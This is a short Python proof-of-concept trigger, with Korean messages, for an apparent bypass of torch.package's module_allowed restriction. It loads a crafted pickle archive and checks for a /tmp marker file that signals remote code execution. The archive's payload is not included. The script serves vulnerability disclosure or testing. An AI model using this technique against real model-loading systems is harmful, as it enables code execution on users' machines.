trigger_stripped.py

import torch.package, os

MARKER = "/tmp/torch_package_builtins_bypass_pwned"

def strict_module_allowed(module_name):
    print(f"  [defender] module_allowed 호출됨: {module_name!r} -> False로 거부")
    return False

print("[victim] extern_modules가 빈 파일인 조작된 아카이브를, module_allowed=False로 완전히 잠근 상태에서 로드...")
importer = torch.package.PackageImporter("malicious_builtins_stripped.pt", module_allowed=strict_module_allowed)
obj = importer.load_pickle("archive", "data.pkl")
print("loaded:", obj)
print("RCE marker exists:", os.path.exists(MARKER))